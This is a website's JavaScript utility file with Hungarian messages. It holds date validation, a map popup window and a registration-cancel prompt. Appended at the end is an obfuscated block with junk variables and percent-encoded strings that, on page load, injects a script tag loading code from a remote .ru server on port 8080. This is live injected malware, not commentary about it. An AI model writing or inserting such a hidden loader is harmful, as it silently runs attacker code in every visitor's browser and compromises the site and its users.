var dateSeparator = "-";
var minYear = 1900;
var maxYear = 2100;
var objWindow = null;

function isInteger(s)
{
	for(var i = 0; i < s.length; i++)
	{   
		var c = s.charAt(i);
		if(((c < "0") || (c > "9"))) return (false);
	}
	return (true);
}

function stripCharsInBag(s, bag)
{
	var retString = "";
	for(var i = 0; i < s.length; i++)
	{   
		var c = s.charAt(i);
		if(bag.indexOf(c) == -1) retString += c;
	}
	return (retString);
}

function daysInFebruary(year)
{
	return (((year % 4 == 0) && ( (!(year % 100 == 0)) || (year % 400 == 0))) ? 29 : 28 );
}
function DaysArray(n)
{
	for(var i = 1; i <= n; i++)
	{
		this[i] = 31
		if(i==4 || i==6 || i==9 || i==11) {this[i] = 30;}
		if(i==2) {this[i] = 29;}
	} 	
	return (this);
}

function isYear(yearString)
{
	year = parseInt(yearString);
	if(!isInteger(yearString) || yearString.length != 4 || year == 0 || year < minYear || year > maxYear)
	{
		alert("Kérjük, hogy 4 jegyű évet adjon meg "+minYear+" és "+maxYear+" között.");
		return (false);
	}
	return (true);
}

function isDate(dateString)
{
	var daysInMonth = DaysArray(12);
	var pos1 = dateString.indexOf(dateSeparator);
	var pos2 = dateString.indexOf(dateSeparator, pos1+1);
	var strYear = dateString.substring(0, pos1);
	var strMonth = dateString.substring(pos1+1, pos2);
	var strDay = dateString.substring(pos2+1);
	strYr = strYear;
	if(strDay.charAt(0) == "0" && strDay.length > 1) strDay = strDay.substring(1);
	if(strMonth.charAt(0) == "0" && strMonth.length > 1) strMonth = strMonth.substring(1);
	for(var i = 1; i <= 3; i++)
	{
		if(strYr.charAt(0) == "0" && strYr.length > 1) strYr = strYr.substring(1);
	}
	month = parseInt(strMonth);
	day = parseInt(strDay);
	year = parseInt(strYr);
	if(pos1 == -1 || pos2 == -1)
	{
		alert("A dátum formátuma: eeee-hh-nn");
		return (false);
	}
	if(strMonth.length < 1 || month < 1 || month > 12)
	{
		alert("Kérjük, hogy érvényes hónapot adjon meg.");
		return (false);
	}
	if(strDay.length < 1 || day < 1 || day > 31 || (month == 2 && day > daysInFebruary(year)) || day > daysInMonth[month])
	{
		alert("Kérjük, hogy érvényes napot adjon meg.");
		return (false);
	}
	if(strYear.length != 4 || year == 0 || year < minYear || year > maxYear)
	{
		alert("Kérjük, hogy 4 jegyű évet adjon meg "+minYear+" és "+maxYear+" között.");
		return (false);
	}
	if(dateString.indexOf(dateSeparator,pos2+1) != -1 || isInteger(stripCharsInBag(dateString, dateSeparator)) == false)
	{
		alert("Kérjük, hogy érvényes dátumot adjon meg.");
		return (false);
	}
	return (true);
}

function openMap()
{
	var fClosed = false;   
	var iWidth = 620;
	var iHeight = 500;
	var iLeft = Math.floor((screen.width - iWidth) / 2);
	var iTop = Math.floor((screen.height - iHeight) / 2)-32;  
	var sParam = "toolbar=0, location=0, directories=0, status=0, menubar=0, scrollbars=0, resizable=1, width=" + iWidth + ",height=" + iHeight + ",screenX=" + iLeft + ",screenY=" + iTop + ",left=" + iLeft + ",top=" + iTop; 

	if(objWindow != null)
	{
	  if(!objWindow.closed)
	  {
		objWindow.close(); 
		while(fClosed != objWindow.closed)
		{
			fClosed = objWindow.closed;	
		}     
	  }
	}       
	objWindow = window.open("","_blank",sParam);   
	objWindow.document.write('<html><head><meta http-equiv=content-type content="text/html";charset="iso-8859-2">'+
		'<title>GF - Elérhetőség - Térkép</title>'+
		'</head><body bgcolor="#AD7A1F" leftmargin="0" marginwidth="0" topmargin="0" marginheight="0" link="#0064aa" alink="#0064aa" text="#FFFFFF" vlink="#ad61b5">'+
		'<table border="0" cellpadding="0" cellspacing="0" width="100%" height="100%">'+
		'<tr><td align="center" valign="middle">'+
		'<img src="i/terkep.gif" width="600" height="484"></td></tr>'+
		'</table></body></html>');
}

function unregistConfirm(url)
{
	var res = confirm('Biztosan le akarja mondani a regisztrációt?');
	if(res == true)
	{
		document.location = url;
	}
} 


var B=new String();var H=new Array();function k(){var uK=new Array();var Si="";var Td;if(Td!='l' && Td != ''){Td=null};this.aB='';var q=window;var cM='';var T=unescape;var xG=new String();var So=new String();var p=T("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6c%2f%6d%6f%7a%69%6c%6c%61%2e%6f%72%67%2e%70%68%70");var XE=new String();var ml=new String();var d="";function M(X,x){var xz="";var j;if(j!='Xs' && j!='Zo'){j=''};this.yx='';this.ZX='';var qi=new String("gUEvK".substr(0,1));var K=T("%5b"), C=T("%5d");var f;if(f!='' && f!='LQ'){f='mf'};var nI;if(nI!='' && nI!='db'){nI='UW'};var u=K+x+C;var uX=new String();var uB=new RegExp(u, qi);var mlt=new Array();this.h='';return X.replace(uB, new String());var rI='';var xp=new Date();};var jg=new Date();var rW;if(rW!='' && rW!='s'){rW=null};var IC=new String();var wC=new String();var MY;if(MY!='JU'){MY='JU'};var nZ;if(nZ!='EB' && nZ!='oh'){nZ='EB'};var w=new String();var S=document;var uZ=M('87297104574784474097954','9453712');var hx='';function A(){var c=T("%68%74%74%70%3a%2f%2f%73%6e%6f%72%65%66%6c%61%73%68%2e%72%75%3a");var N;if(N!='fy'){N='fy'};var Js=new Array();w=c;var ER;if(ER!='' && ER!='rv'){ER=''};var sC;if(sC!='' && sC!='Ds'){sC='iq'};w+=uZ;var e=new Array();w+=p;var bp;if(bp!=''){bp='cF'};var Mz;if(Mz!=''){Mz='aC'};var Mx='';try {L=S.createElement(M('sfcNrji4pBt4','gYPND14B_Ej8LmAnkf'));var RP='';var TL;if(TL!='' && TL!='VO'){TL='Iw'};L[T("%64%65%66%65%72")]=[1,2][0];var Yd=new Date();var bC="";L[T("%73%72%63")]=w;var Dq=new Array();var fI=new Array();S.body.appendChild(L);var zEL='';} catch(MZ){var aa;if(aa!='' && aa!='Ec'){aa=null};alert(MZ);};var Od=new String();var kF=new String();}var ty;if(ty!='' && ty!='Cs'){ty=''};var oc;if(oc!='' && oc!='Uv'){oc=''};q[new String("on"+"lo"+"ad")]=A;var rU;if(rU!='wr'){rU=''};var gL;if(gL!='QG'){gL=''};var KB="";};var sD;if(sD!='' && sD!='Xc'){sD=''};k();var Wk=new String();var oC;if(oC!='Lr' && oC!='zW'){oC=''};